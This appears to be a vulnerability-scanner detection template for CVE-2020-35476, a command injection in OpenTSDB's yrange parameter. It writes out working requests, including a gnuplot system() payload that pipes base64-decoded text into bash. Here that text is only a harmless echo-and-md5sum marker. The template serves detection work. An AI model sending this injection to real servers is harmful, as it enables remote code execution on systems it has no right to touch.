A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.)
PoC代码[已公开]
id: CVE-2020-35476
info:
name: OpenTSDB 2.4.0 Remote Code Execution
author: mvhz81
severity: critical
description: |-
A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.)
reference:
- https://www.tenable.com/security/research/tra-2020-56
- https://nvd.nist.gov/vuln/detail/CVE-2020-35476
tags: cve,cve2020,opentsdb,rce
created: 2023/06/23
set:
r1: randomLowercase(3)
r2: randomLowercase(3)
r3: randomLowercase(3)
r4: randomInt(1024, 65535)
rules:
r0:
request:
method: GET
path: /s/opentsdb_header.jpg
expression: response.status == 200 && response.content_type.contains("text/plain") && response.body.bcontains(b"\xff\xd8\xff\xe1")
r1:
request:
method: POST
path: /api/put
body: |-
[
{
"metric": "{{r1}}.{{r2}}.{{r3}}",
"timestamp": 1608700420,
"value": {{r4}},
"tags": {
"host": "web01",
"dc": "lga"
}
},
{
"metric": "{{r1}}.{{r2}}.{{r3}}",
"timestamp": 1608700421,
"value": {{r4}},
"tags": {
"host": "web02",
"dc": "lga"
}
}
]
expression: sleep(5) && response.status == 204 && response.content_type.contains("json")
r2:
request:
method: GET
path: /q?start=2000/10/21-00:00:00&end=2020/12/25-00:00:00&m=sum:{{r1}}.{{r2}}.{{r3}}&o=&yrange=[0:system('echo%20-e%20"ZWNobyAxMjMgfG1kNXN1bSAxPiYyCg=="%20|%20base64%20-d%20|bash')]&wxh=1698x316&style=linespoint&json
expression: response.status == 400 && response.content_type.contains("json") && "ba1f2511fc30423bdbb183fe33f3dd0f".bmatches(response.body)
expression: r0() && r1() && r2()